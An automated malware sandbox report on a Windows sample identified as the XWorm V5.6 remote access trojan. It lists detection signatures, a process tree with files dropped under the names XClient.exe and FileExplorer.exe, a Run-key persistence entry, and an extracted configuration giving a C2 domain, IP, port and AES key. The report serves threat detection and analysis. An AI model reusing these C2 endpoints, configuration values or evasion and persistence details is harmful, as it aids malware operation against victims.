Edit tour

Windows Analysis Report
CZxDiTktSY.exe

Overview

General Information

Sample name:	CZxDiTktSY.exe renamed because original name is a hash value
Original sample name:	fc16219abe3f5272052e7238be66431e1d1b3e7d2faf996c701ce576cce74290.exe
Analysis ID:	1561595
MD5:	5d16971f4e0d6e5f99d18d28672cc621
SHA1:	bcd7f4fe26313fe3ced6ced1f5952d6429fac416
SHA256:	fc16219abe3f5272052e7238be66431e1d1b3e7d2faf996c701ce576cce74290
Tags:	exeuser-Chainskilabs
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Yara signature match

Classification

Process Tree

System is w10x64

CZxDiTktSY.exe (PID: 6972 cmdline: "C:\Users\user\Desktop\CZxDiTktSY.exe" MD5: 5D16971F4E0D6E5F99D18D28672CC621)

Bloxstrap-v2.8.1.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe" MD5: 60246A70B28A9D7EF6A2DFE009E48075)

chrome.exe (PID: 2800 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7616 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5180 --field-trial-handle=2032,i,14715254586695196426,7062919900721825726,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

XClient.exe (PID: 6188 cmdline: "C:\Users\user\AppData\Roaming\XClient.exe" MD5: EDD87A78E02A4C11C82BB8CCCE9815D6)

FileExplorer.exe (PID: 7884 cmdline: "C:\Users\user\AppData\Roaming\FileExplorer.exe" MD5: EDD87A78E02A4C11C82BB8CCCE9815D6)

FileExplorer.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Roaming\FileExplorer.exe" MD5: EDD87A78E02A4C11C82BB8CCCE9815D6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["192.168.68.139", "tell-outcome.gl.at.ply.gg"], "Port": 2068, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\FileExplorer.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\FileExplorer.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x70b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7156:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x726b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f2b:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\XClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\XClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x70b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7156:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x726b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f2b:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6eb9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6f56:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x706b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6d2b:$cnc4: POST / HTTP/1.1
00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x21321:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x29961:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x213be:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x299fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x214d3:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x29b13:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x21193:$cnc4: POST / HTTP/1.1 0x297d3:$cnc4: POST / HTTP/1.1
Process Memory Space: CZxDiTktSY.exe PID: 6972	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: XClient.exe PID: 6188	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.CZxDiTktSY.exe.2d938a8.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.CZxDiTktSY.exe.2d938a8.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x52b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5356:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x546b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x512b:$cnc4: POST / HTTP/1.1
2.0.XClient.exe.40000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.XClient.exe.40000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x70b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7156:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x726b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f2b:$cnc4: POST / HTTP/1.1
0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x70b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7156:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x726b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f2b:$cnc4: POST / HTTP/1.1
0.2.CZxDiTktSY.exe.2d8b268.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.CZxDiTktSY.exe.2d8b268.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x52b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5356:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x546b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x512b:$cnc4: POST / HTTP/1.1
0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x70b9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf6f9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7156:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf796:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x726b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xf8ab:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6f2b:$cnc4: POST / HTTP/1.1 0xf56b:$cnc4: POST / HTTP/1.1
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\FileExplorer.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\XClient.exe, ProcessId: 6188, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FileExplorer

Suricata Signatures

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T21:12:20.578110+0100	2853193	1	Malware Command and Control Activity Detected	192.168.2.4	49816	147.185.221.24	2068	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CZxDiTktSY.exe

Avira: detected

Antivirus detection for URL or domain

Source: tell-outcome.gl.at.ply.gg

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769
Source: C:\Users\user\AppData\Roaming\XClient.exe	Avira: detection malicious, Label: HEUR/AGEN.1305769

Found malware configuration

Source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["192.168.68.139", "tell-outcome.gl.at.ply.gg"], "Port": 2068, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Roaming\XClient.exe	ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: CZxDiTktSY.exe

ReversingLabs: Detection: 63%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\XClient.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: CZxDiTktSY.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: 192.168.68.139,tell-outcome.gl.at.ply.gg
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: 2068
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: <123456789>
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: <Xwormmm>
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: XWorm V5.6
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: USB.exe
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: %AppData%
Source: 2.0.XClient.exe.40000.0.unpack	String decryptor: FileExplorer.exe

Source: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore	HTTP Parser: No favicon
Source: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore	HTTP Parser: No favicon

Source: CZxDiTktSY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49831 version: TLS 1.2

Source: CZxDiTktSY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdb source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdbiiiGCTL source: Bloxstrap-v2.8.1.exe, 00000001.00000000.1702708588.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe, 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmp, Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb source: Unconfirmed 798106.crdownload.3.dr
Source:	Binary string: D:\a\bloxstrap\bloxstrap\Bloxstrap\obj\Release\net6.0-windows\win-x64\Bloxstrap.pdb source: Bloxstrap-v2.8.1.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb/ source: Unconfirmed 798106.crdownload.3.dr
Source:	Binary string: D:\a\bloxstrap\bloxstrap\Bloxstrap\obj\Release\net6.0-windows\win-x64\Bloxstrap.pdbSHA256 source: Bloxstrap-v2.8.1.exe.0.dr

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6AFBA0 FindFirstFileExW,FindNextFileW,FindClose,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,Concurrency::cancel_current_task,

1_2_00007FF72E6AFBA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49741 -> 147.185.221.24:2068
Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49816 -> 147.185.221.24:2068

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 192.168.68.139
Source: Malware configuration extractor	URLs: tell-outcome.gl.at.ply.gg

Source: global traffic

TCP traffic: 192.168.2.4:49741 -> 147.185.221.24:2068

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.161.164
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.208.104
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.208.104
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.208.104
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.208.104
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200

Source: global traffic	HTTP traffic detected: GET /dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true HTTP/1.1Host: aka.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /get-dotnet/dotnet-core?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /download/dotnet/6.0/runtime?cid=getdotnetcore&runtime=desktop&os=windows&arch=x64 HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DGcxpd6N9a4u5Ff&MD=YzNwarnv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore HTTP/1.1Host: dotnet.microsoft.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/css/bootstrap-custom.min.css?v=1bpqJkhBrO8vf5QShbYWqAyD97CGYCmfS57-s3YdDzw HTTP/1.1Host: dotnet.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcoreAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
